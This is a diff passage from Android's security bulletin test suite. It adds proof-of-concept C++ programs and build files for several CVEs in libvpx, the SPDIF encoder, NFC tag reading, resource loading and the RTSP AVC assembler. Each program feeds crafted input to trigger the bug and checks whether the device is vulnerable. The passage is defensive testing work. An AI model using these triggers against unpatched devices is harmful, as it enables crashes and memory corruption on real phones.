+  RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+  FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+  tRW_T3T_CB *p_t3t = &rw_cb.tcb.t3t;
+
+  GKI_init();
+  rw_init();
+  rw_cb.p_cback = &poc_cback;
+
+  uint8_t peer_nfcid2[NCI_RF_F_UID_LEN];
+  uint8_t mrti_check = 1, mrti_update = 1;
+  FAIL_CHECK(rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) ==
+             NFC_STATUS_OK)
+
+  p_data = (tNFC_CONN *)allocate_memory(sizeof(tNFC_CONN));
+  FAIL_CHECK(p_data);
+
+  p_data->data.p_data = (NFC_HDR *)allocate_memory(sizeof(NFC_HDR) * 3);
+  FAIL_CHECK(p_data->data.p_data);
+
+  p_data->status = NFC_STATUS_OK;
+
+  p_t3t->cur_cmd = RW_T3T_CMD_CHECK_NDEF;
+  p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
+  p_t3t->flags |= RW_T3T_FL_IS_FINAL_NDEF_SEGMENT;
+  p_t3t->ndef_attrib.ln = 0x000F;
+
+  NFC_HDR *p_msg = (p_data->data).p_data;
+  p_msg->offset = 0;
+  p_msg->len = T3T_MSG_RSP_OFFSET_CHECK_DATA + 1;
+
+  uint8_t *p_t3t_rsp = (uint8_t *)(p_msg + 1) + p_msg->offset;
+  p_t3t_rsp[0] = NCI_STATUS_OK;
+  p_t3t_rsp++;
+  p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP;
+  p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK;
+  p_t3t_rsp[T3T_MSG_RSP_OFFSET_NUMBLOCKS] = 0;
+
+  tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+  tNFC_CONN_EVT event = NFC_DATA_CEVT;
+  memcpy(p_t3t->peer_nfcid2, &p_t3t_rsp[T3T_MSG_RSP_OFFSET_IDM],
+         NCI_NFCID2_LEN);
+  testInProgress = true;
+  p_cb->p_cback(0, event, p_data);
+  testInProgress = false;
+
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp
similarity index 62%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp
index bcbf54f..aa9a2f9 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -20,7 +20,23 @@
 }
 
 cc_test {
-    name: "CVE-2020-29368",
+    name: "CVE-2020-0034",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+    srcs: [
+        "poc.cpp",
+    ],
+    compile_multilib: "32",
+    arch: {
+        arm: {
+            include_dirs: [
+                "external/libvpx/config/arm-neon",
+            ],
+            shared_libs: [
+                "libvpx",
+            ],
+            cflags: [
+                "-DTEST_ARM32",
+            ],
+        },
+    },
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp
new file mode 100644
index 0000000..cc7cc22
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp
@@ -0,0 +1,109 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <stdlib.h>
+
+#ifdef TEST_ARM32
+#include <unistd.h>
+#include "../includes/common.h"
+
+#include <string.h>
+#include <algorithm>
+#include <vector>
+#include "vpx/vp8dx.h"
+#include "vpx/vpx_decoder.h"
+#include "vpx_ports/mem_ops.h"
+
+#define IVF_FILE_HDR_SZ 32
+#define IVF_FRAME_HDR_SZ (4 + 8) /* 4 byte size + 8 byte timestamp */
+
+FILE *fp = nullptr;
+
+void exitHandler(void) {
+    if (fp) {
+        fclose(fp);
+    }
+}
+
+bool testInProgress = false;
+struct sigaction new_action, old_action;
+void sigabrt_handler(int32_t signum, siginfo_t *info, void* context) {
+    if (testInProgress && info->si_signo == SIGABRT) {
+        (*old_action.sa_sigaction)(signum, info, context);
+        return;
+    }
+    _exit(EXIT_FAILURE);
+}
+#endif
+
+int32_t main(int32_t argc, char **argv) {
+    (void)argc;
+    (void)argv;
+
+#ifdef TEST_ARM32
+    atexit(exitHandler);
+
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigabrt_handler;
+    sigaction(SIGABRT, &new_action, &old_action);
+
+    FAIL_CHECK(argc >= 2);
+    fp = fopen(argv[1], "rb");
+    FAIL_CHECK(fp);
+
+    fseek(fp, 0, SEEK_END);
+    size_t size = ftell(fp);
+    fseek(fp, 0, SEEK_SET);
+    FAIL_CHECK(size > IVF_FILE_HDR_SZ);
+
+    std::vector<uint8_t> buffer(size);
+    FAIL_CHECK(fread((void *)buffer.data(), sizeof(uint8_t), size, fp) == size);
+
+    vpx_codec_ctx_t codec;
+    vpx_codec_dec_cfg_t cfg;
+    memset(&cfg, 0, sizeof(vpx_codec_dec_cfg_t));
+    cfg.threads = 1;
+    FAIL_CHECK(vpx_codec_dec_init(&codec, &vpx_codec_vp8_dx_algo, &cfg, 0) == VPX_CODEC_OK);
+
+    uint8_t *data = buffer.data();
+    data += IVF_FILE_HDR_SZ;
+    size -= IVF_FILE_HDR_SZ;
+
+    while (size > IVF_FRAME_HDR_SZ) {
+        size_t frame_size = mem_get_le32(data);
+        size -= IVF_FRAME_HDR_SZ;
+        data += IVF_FRAME_HDR_SZ;
+        frame_size = std::min(size, frame_size);
+
+        testInProgress = true;
+        vpx_codec_decode(&codec, data, frame_size, nullptr, 0);
+        testInProgress = false;
+
+        vpx_codec_iter_t iter = nullptr;
+        vpx_image_t *img = nullptr;
+        while ((img = vpx_codec_get_frame(&codec, &iter)) != nullptr) {
+            if (img->d_w > img->w || img->d_h > img->h) {
+                return EXIT_VULNERABLE;
+            }
+        }
+        data += frame_size;
+        size -= frame_size;
+    }
+    vpx_codec_destroy(&codec);
+#endif
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/Android.bp
index 807b9106..2a5682f 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,6 +14,7 @@
  * limitations under the License.
  *
  */
+
 package {
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp
index d6ea446..8249c0c 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp
@@ -19,6 +19,16 @@
 #include <nfc_api.h>
 #include <rw_int.h>
 
+bool isTestInProgress = false;
+struct sigaction new_action, old_action;
+void sigabrt_handler(int signum, siginfo_t* info, void* context) {
+    if (isTestInProgress && info->si_signo == SIGABRT) {
+        (*old_action.sa_sigaction)(signum, info, context);
+        return;
+    }
+    exit(EXIT_FAILURE);
+}
+
 extern tRW_CB rw_cb;
 void rw_init(void);
 void rw_t2t_handle_rsp(uint8_t* p_data);
@@ -28,6 +38,17 @@
 }
 
 int main() {
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigabrt_handler;
+    sigaction(SIGABRT, &new_action, &old_action);
+
+    tNFC_ACTIVATE_DEVT p_activate_params = {};
+    p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+    p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+    RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+    FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
     tRW_T2T_CB* p_t2t = &rw_cb.tcb.t2t;
     rw_init();
     rw_cb.p_cback = &poc_cback;
@@ -38,6 +59,8 @@
     p_t2t->bytes_count = 1;
     p_t2t->num_lockbytes = RW_T2T_MAX_LOCK_BYTES;
     uint8_t data[T2T_READ_DATA_LEN];
+    isTestInProgress = true;
     rw_t2t_handle_rsp(data);
+    isTestInProgress = false;
     return EXIT_SUCCESS;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/Android.bp
similarity index 80%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/Android.bp
index bcbf54f..31fbfd2 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -20,7 +20,12 @@
 }
 
 cc_test {
-    name: "CVE-2020-29368",
+    name: "CVE-2020-0458",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+    srcs: [
+        "poc.cpp",
+    ],
+    shared_libs: [
+        "libaudiospdif",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/poc.cpp
new file mode 100644
index 0000000..dbb4ee5
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/poc.cpp
@@ -0,0 +1,75 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include <audio_utils/spdif/SPDIFEncoder.h>
+#include "../includes/common.h"
+
+// Taken as a reference from audio_utils/tests/spdif_tests.cpp "MySPDIFEncoder"
+class PocSPDIFEncoder : public android::SPDIFEncoder {
+ public:
+
+    explicit PocSPDIFEncoder(audio_format_t format)
+            : SPDIFEncoder(format) {
+    }
+
+    PocSPDIFEncoder() = default;
+
+    size_t getBurstBufferSizeBytes() const {
+        return mBurstBufferSizeBytes;
+    }
+
+    size_t getByteCursor() const {
+        return mByteCursor;
+    }
+
+    android::FrameScanner *getFramer() const {
+        return mFramer;
+    }
+
+    size_t getPayloadBytesPending() const {
+        return mPayloadBytesPending;
+    }
+
+    ssize_t writeOutput(const void*, size_t numBytes) override {
+        mOutputSizeBytes = numBytes;
+        return numBytes;
+    }
+
+    size_t mOutputSizeBytes = 0;
+};
+
+int main() {
+    PocSPDIFEncoder encoder(AUDIO_FORMAT_E_AC3);
+
+    // Beginning of the file channelcheck_48k6ch.eac3 with frame size
+    // forced to zero
+    uint8_t buf[] = { 0x0B, 0x77, 0x00, 0x00, 0x3F, 0x85, 0x7F, 0xE8, 0x1E,
+            0x40, 0x82, 0x10, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03,
+            0xFC, 0x60, 0x80, 0x7E, 0x59, 0x00, 0xFC, 0xF3, 0xCF, 0x01, 0xF9,
+            0xE7 };
+    encoder.write(buf, sizeof(buf));
+
+    size_t bufferSize = encoder.getBurstBufferSizeBytes();
+
+    // If vulnerability is present, 'mPayloadBytesPending' will be assigned
+    // a large overflowed value
+    size_t pendingBytes = encoder.getPayloadBytesPending();
+
+    // 'mBurstBufferSizeBytes' shouldn't be lesser than 'mPayloadBytesPending',
+    // this will happen if 'mPayloadBytesPending' holds a overflowed value
+    return (bufferSize < pendingBytes) ? EXIT_VULNERABLE : EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/Android.bp
similarity index 96%
rename from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
rename to hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/Android.bp
index bcbf54f..6595bcc 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/Android.bp
@@ -20,7 +20,7 @@
 }
 
 cc_test {
-    name: "CVE-2020-29368",
+    name: "CVE-2020-29374",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
     srcs: ["poc.cpp",],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/poc.cpp
similarity index 100%
rename from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/poc.cpp
rename to hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/poc.cpp
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp
index 700935c..5033b2e 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp
index 947f46a..bb3bdc2 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,74 +14,116 @@
  * limitations under the License.
  */
 
+#include <../includes/common.h>
+#include <../includes/memutils.h>
 #include <nfc_int.h>
 #include <rw_int.h>
 
 #define RW_MFC_STATE_READ_NDEF 0x03
 #define RW_MFC_SUBSTATE_READ_BLOCK 0x03
+#define RW_MFC_DATA_LEN 0x10
+#define P_MFC_NDEF_LENGTH 1024
 
 extern tRW_CB rw_cb;
+tNFC_CONN *p_data = nullptr;
+tRW_MFC_CB *p_mfc = nullptr;
 
-void GKI_freebuf(void*) {
+char enable_selective_overload = ENABLE_NONE;
+
+bool isTestInProgress = false;
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+    if (isTestInProgress && info->si_signo == SIGSEGV) {
+        (*old_action.sa_sigaction)(signum, info, context);
+        return;
+    }
+    exit(EXIT_FAILURE);
 }
 
-void GKI_start_timer(uint8_t, int32_t, bool) {
+void GKI_freebuf(void *) {}
+
+void GKI_start_timer(uint8_t, int32_t, bool) {}
+
+void GKI_stop_timer(uint8_t) {}
+
+void cback(tRW_EVENT, tRW_DATA *) {}
+
+void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) {
+    (void)event;
+    (void)p_rw_data;
 }
 
-void GKI_stop_timer(uint8_t) {
-}
+void exit_handler(void) {
+    if (p_data) {
+        if (p_data->data.p_data) {
+            free(p_data->data.p_data);
+            p_data->data.p_data = nullptr;
+        }
+        free(p_data);
+        p_data = nullptr;
+    }
 
-void cback(tRW_EVENT, tRW_DATA*) {
+    if (p_mfc) {
+        if (p_mfc->p_ndef_buffer) {
+            free(p_mfc->p_ndef_buffer);
+            p_mfc->p_ndef_buffer = nullptr;
+        }
+        free(p_mfc);
+        p_mfc = nullptr;
+    }
 }
 
 int main() {
-    tRW_MFC_CB* p_mfc = &rw_cb.tcb.mfc;
+    atexit(exit_handler);
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigsegv_handler;
+    sigaction(SIGSEGV, &new_action, &old_action);
+
+    tNFC_ACTIVATE_DEVT p_activate_params = {};
+    p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+    p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+    RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+    FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+    p_mfc = &rw_cb.tcb.mfc;
 
     GKI_init();
     rw_init();
 
     uint8_t selres = 1;
-    uint8_t uid[MFC_UID_LEN] = { 1 };
-    if (rw_mfc_select(selres, uid) != NFC_STATUS_OK) {
-        return EXIT_FAILURE;
-    }
+    uint8_t uid[MFC_UID_LEN] = {1};
+
+    enable_selective_overload = ENABLE_MALLOC_CHECK;
+    FAIL_CHECK(rw_mfc_select(selres, uid) == NFC_STATUS_OK);
 
     p_mfc->state = RW_MFC_STATE_READ_NDEF;
     p_mfc->substate = RW_MFC_SUBSTATE_READ_BLOCK;
 
-    tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+    tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
 
-    tNFC_CONN* p_data = (tNFC_CONN*) malloc(sizeof(tNFC_CONN));
-    if (!p_data) {
-        return EXIT_FAILURE;
-    }
+    p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+    FAIL_CHECK(p_data);
 
-    p_data->data.p_data = (NFC_HDR*) malloc(sizeof(uint8_t) * 16);
-    if (!(p_data->data.p_data)) {
-        free(p_data);
-        return EXIT_FAILURE;
-    }
+    p_data->data.p_data = (NFC_HDR *)malloc(sizeof(uint8_t) * 16);
+    FAIL_CHECK(p_data->data.p_data);
 
     p_data->data.status = NFC_STATUS_OK;
     tNFC_CONN_EVT event = NFC_DATA_CEVT;
 
-    NFC_HDR* mfc_data = (NFC_HDR*) p_data->data.p_data;
-    mfc_data->len = 0x10;
+    NFC_HDR *mfc_data = (NFC_HDR *)p_data->data.p_data;
+    mfc_data->len = RW_MFC_DATA_LEN;
     mfc_data->offset = 0;
-    p_mfc->ndef_length = 1024;
-    p_mfc->p_ndef_buffer = (uint8_t*) malloc(sizeof(uint8_t) * 16);
-    if (!(p_mfc->p_ndef_buffer)) {
-        free(p_data->data.p_data);
-        free(p_data);
-        return EXIT_FAILURE;
-    }
+    p_mfc->ndef_length = P_MFC_NDEF_LENGTH;
+    p_mfc->p_ndef_buffer = (uint8_t *)malloc(sizeof(uint8_t) * 16);
+    enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+    FAIL_CHECK(p_mfc->p_ndef_buffer);
 
     rw_cb.p_cback = cback;
 
+    isTestInProgress = true;
     p_cb->p_cback(0, event, p_data);
+    isTestInProgress = false;
 
-    free(p_mfc->p_ndef_buffer);
-    free(p_data->data.p_data);
-    free(p_data);
     return EXIT_SUCCESS;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp
new file mode 100644
index 0000000..8fd6801
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2021-39664",
+    defaults: [
+        "cts_hostsidetests_securitybulletin_defaults",
+    ],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    shared_libs: [
+        "libandroidfw",
+        "libui",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+        "-DENABLE_SELECTIVE_OVERLOADING",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp
new file mode 100644
index 0000000..0c477f6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp
@@ -0,0 +1,65 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <androidfw/ApkAssets.h>
+
+#include <vector>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+using android::LoadedArsc;
+
+bool testInProgress = false;
+char enable_selective_overload = ENABLE_NONE;
+FILE *file = nullptr;
+
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+    if (testInProgress && info->si_signo == SIGSEGV) {
+        (*old_action.sa_sigaction)(signum, info, context);
+        return;
+    }
+    _exit(EXIT_FAILURE);
+}
+
+void exitHandler(void) {
+    if (file) {
+        fclose(file);
+        file = nullptr;
+    }
+}
+
+int main(int argc, char **argv) {
+    atexit(exitHandler);
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigsegv_handler;
+    sigaction(SIGSEGV, &new_action, &old_action);
+    FAIL_CHECK(argc >= 2);
+    file = fopen(argv[1], "r");
+    FAIL_CHECK(file);
+    fseek(file, 0, SEEK_END);
+    size_t size = ftell(file);
+    fseek(file, 0, SEEK_SET);
+    enable_selective_overload = ENABLE_ALL;
+    std::vector<uint8_t> buffer(size);
+    enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+    FAIL_CHECK(fread((void *)buffer.data(), 1, size, file) == size);
+    testInProgress = true;
+    LoadedArsc::Load(buffer.data(), size);
+    testInProgress = false;
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/Android.bp
similarity index 62%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/Android.bp
index bcbf54f..0597cdf 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -20,7 +20,19 @@
 }
 
 cc_test {
-    name: "CVE-2020-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+    name: "CVE-2021-39665",
+    defaults: [
+        "cts_hostsidetests_securitybulletin_defaults"
+    ],
+    srcs: [
+        "poc.cpp",
+    ],
+    shared_libs: [
+        "libutils",
+        "libmediaplayerservice",
+        "libstagefright_foundation",
+    ],
+    include_dirs: [
+        "frameworks/av/media/libstagefright/rtsp",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/poc.cpp
new file mode 100644
index 0000000..a008005
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/poc.cpp
@@ -0,0 +1,84 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <dlfcn.h>
+#include "../includes/common.h"
+
+#define private public
+#include "AAVCAssembler.h"
+
+using namespace android;
+
+bool isOverloadingEnabled = false;
+
+bool isTestInProgress = false;
+
+struct sigaction newAction, oldAction;
+
+static void *(*realMalloc)(size_t) = nullptr;
+
+void *malloc(size_t size) {
+    if (!realMalloc) {
+        realMalloc = (void *(*)(size_t))dlsym(RTLD_NEXT, "malloc");
+        if (!realMalloc) {
+            return nullptr;
+        }
+    }
+    if (isOverloadingEnabled && (size == 0)) {
+        size_t pageSize = sysconf(_SC_PAGE_SIZE);
+        void *ptr = memalign(pageSize, pageSize);
+        mprotect(ptr, pageSize, PROT_NONE);
+        return ptr;
+    }
+    return realMalloc(size);
+}
+
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+    if (isTestInProgress && info->si_signo == SIGSEGV) {
+        (*oldAction.sa_sigaction)(signum, info, context);
+        return;
+    }
+    _exit(EXIT_FAILURE);
+}
+
+int main() {
+    sigemptyset(&newAction.sa_mask);
+    newAction.sa_flags = SA_SIGINFO;
+    newAction.sa_sigaction = sigsegv_handler;
+    sigaction(SIGSEGV, &newAction, &oldAction);
+
+    sp<ABuffer> buffer(new ABuffer(16));
+    FAIL_CHECK(buffer != nullptr);
+
+    sp<AMessage> meta = buffer->meta();
+    FAIL_CHECK(meta != nullptr);
+
+    uint32_t rtpTime = 16;
+    meta->setInt32("rtp-time", rtpTime);
+
+    AAVCAssembler *assembler = new AAVCAssembler(meta);
+    FAIL_CHECK(assembler != nullptr);
+
+    isOverloadingEnabled = true;
+    sp<ABuffer> zeroSizedBuffer(new ABuffer(0));
+    isOverloadingEnabled = false;
+
+    isTestInProgress = true;
+    assembler->checkSpsUpdated(zeroSizedBuffer);
+    isTestInProgress = false;
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp
similarity index 66%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp
index bcbf54f..b4bdd3c 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp
@@ -20,7 +20,20 @@
 }
 
 cc_test {
-    name: "CVE-2020-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+    name: "CVE-2021-39675",
+    compile_multilib: "64",
+    defaults: [
+        "cts_hostsidetests_securitybulletin_defaults",
+    ],
+    srcs: [
+        "poc.cpp",
+    ],
+    shared_libs: [
+       "libnfc-nci",
+    ],
+    include_dirs: [
+        "system/nfc/src/include",
+        "system/nfc/src/gki/common",
+        "system/nfc/src/gki/ulinux",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp
similarity index 64%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp
index bcbf54f..78ebda8 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp
@@ -1,26 +1,22 @@
-/*
+/**
